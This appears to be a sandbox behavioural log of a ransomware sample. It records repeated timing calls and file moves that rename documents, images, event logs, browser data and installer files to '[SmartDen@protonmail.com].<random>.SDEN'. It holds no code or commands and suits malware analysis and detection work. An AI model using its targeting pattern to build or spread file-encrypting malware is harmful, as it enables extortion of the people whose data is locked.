System	Get Time	type = Performance Ctr, time = 17442383006	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\[SmartDen@protonmail.com].PRMVN3N9-GTIudzvl.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17614757089	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17614770301	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\[SmartDen@protonmail.com].PcMH4lSc-3RzPcoy9.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17614861409	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17614873260	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\[SmartDen@protonmail.com].pNAGpJg7-Vajs0Ufe.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17614942911	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17614954431	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\[SmartDen@protonmail.com].tNIg7Goc-mYRfB8CC.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615018935	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615030716	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].9r5GQUCr-lk1WySBA.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615110997	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615122547	1	Fn
File	Move	source_filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg, destination_filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\[SmartDen@protonmail.com].CcKr9Aru-R5IYhWr4.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615212688	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615224323	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].xHcUprd0-L3prmFYM.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615302333	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615315014	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].O5Z6pOWo-PzW6ooYG.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615390154	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615401644	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\[SmartDen@protonmail.com].IPELx94O-lEmLa3pe.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615467931	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615479865	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\[SmartDen@protonmail.com].l0MSXXeW-ERbk3ymX.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615566544	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615578337	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].kM1Gr20K-4hG9fiev.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615653961	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615666184	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].rT7comiL-hSWXNmtM.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615741165	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615753004	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\[SmartDen@protonmail.com].M3nluuKv-fgAXpkWo.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615840857	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615852796	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].CwFstxNb-zjWfoojI.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615943690	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17615955032	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].dgaJqJML-Ktq7Pbgk.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17616030798	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17616042712	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].DT3uRw5l-f9GPP0Mo.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176125	1	Fn
System	Get Time	type = Performance Ctr, time = 17616117379	1	Fn
System	Get Time	type = Ticks, time = 176140	1	Fn
System	Get Time	type = Performance Ctr, time = 17616218482	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].5WU4kSCK-yPz1R640.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17628919501	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17628932197	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].LFyw4q5K-i54QSDw4.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629011997	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629023908	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].aQ4ri2Wf-2XzuRVcN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629111012	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629122957	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg, destination_filename = C:\Users\FD1HVy\Pictures\[SmartDen@protonmail.com].XlnQzpzu-2dx8EuLF.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629191970	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629203802	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg, destination_filename = C:\Users\FD1HVy\Pictures\[SmartDen@protonmail.com].8kjUUBlT-ak24SUWe.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629269056	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629280507	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].uDa3mLej-GaneZC0z.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629344971	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629356614	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].D8bYLVMu-ve4htQe5.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629444297	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629455704	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, destination_filename = C:\Users\FD1HVy\Pictures\[SmartDen@protonmail.com].qtJAhxFG-2p22NsKr.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629521368	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629533164	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].v5161Rt4-3vFm1D9J.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629608497	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629620148	1	Fn
File	Move	source_filename = C:\$GetCurrent\SafeOS\GetCurrentRollback.ini, destination_filename = C:\$GetCurrent\SafeOS\[SmartDen@protonmail.com].uj3TFPin-1GKbwdNA.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629686233	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629698173	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].4bkBjhIv-ARYU39Fr.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629773744	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629785396	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].tqfH4yZI-dwA2kooN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629845508	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629857232	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].xRWBwzpF-nIB4sfEe.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629904653	1	Fn
System	Get Time	type = Ticks, time = 176265	1	Fn
System	Get Time	type = Performance Ctr, time = 17629913805	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].7mZoolJW-J2V9Brsr.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631360061	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631369571	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Extended_x86.msi, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].ZPWdvOMu-Ibmxf9LA.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631420172	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631428870	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].HdhEjxZ3-5k22ROZd.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631497383	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631506600	1	Fn
File	Move	source_filename = C:\Logs\Application.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].itho1r4J-TaQiDUhn.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631553823	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631562732	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].qwO9p50L-1IKj3WUS.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631617257	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631625884	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].tUjTvN66-EVZ1KKIa.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631681250	1	Fn
System	Get Time	type = Ticks, time = 176281	1	Fn
System	Get Time	type = Performance Ctr, time = 17631689812	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\[SmartDen@protonmail.com].Fk114Aza-mnj7Lwyu.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
System	Get Time	type = Ticks, time = 177968	1	Fn
System	Get Time	type = Performance Ctr, time = 17801137023	1	Fn
System	Get Time	type = Ticks, time = 177968	1	Fn
System	Get Time	type = Performance Ctr, time = 17801151398	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].PlE4KCU7-jMbyrNTL.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17822885189	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17822897202	1	Fn
File	Move	source_filename = C:\$GetCurrent\SafeOS\preoobe.cmd, destination_filename = C:\$GetCurrent\SafeOS\[SmartDen@protonmail.com].eejhdCdV-gwZaOMUY.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17822950129	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17822959979	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].pbkueZh5-6BT6R9n3.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17823025897	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17823036033	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\43GhgeoJ1r.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\[SmartDen@protonmail.com].rGIwne1B-tzk28j9U.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17823097379	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17823107176	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite, destination_filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\[SmartDen@protonmail.com].m3To8Mcj-b7rFzOOP.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17823160021	1	Fn
System	Get Time	type = Ticks, time = 178187	1	Fn
System	Get Time	type = Performance Ctr, time = 17823170042	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].XcNb8Bbc-vf5yM3b5.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897542921	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897558837	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].szGEvw15-CKMPivqT.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897631237	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897643688	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].cRcR5qIl-dUuN2jKo.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897705905	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897717791	1	Fn
File	Move	source_filename = C:\$GetCurrent\SafeOS\PartnerSetupComplete.cmd, destination_filename = C:\$GetCurrent\SafeOS\[SmartDen@protonmail.com].VjPMy8Ri-YLsttuSE.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897779823	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897790341	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].8h0PABNE-QvmvRuYD.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897849431	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897858809	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].NRuWYDbC-Be0lmM3s.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897906262	1	Fn
System	Get Time	type = Ticks, time = 178937	1	Fn
System	Get Time	type = Performance Ctr, time = 17897915785	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\[SmartDen@protonmail.com].O9S6IJOv-RbxOzF3c.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922200302	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922213834	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\[SmartDen@protonmail.com].FNgBQJ1U-N2GTSYpx.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922286916	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922298837	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].g2jpRlh6-ohJFJaU8.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922355753	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922366357	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].IVPPgvr6-Wz9zFFHb.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922420913	1	Fn
System	Get Time	type = Ticks, time = 179187	1	Fn
System	Get Time	type = Performance Ctr, time = 17922430389	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].0l5nNaD1-J6pSWUSj.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
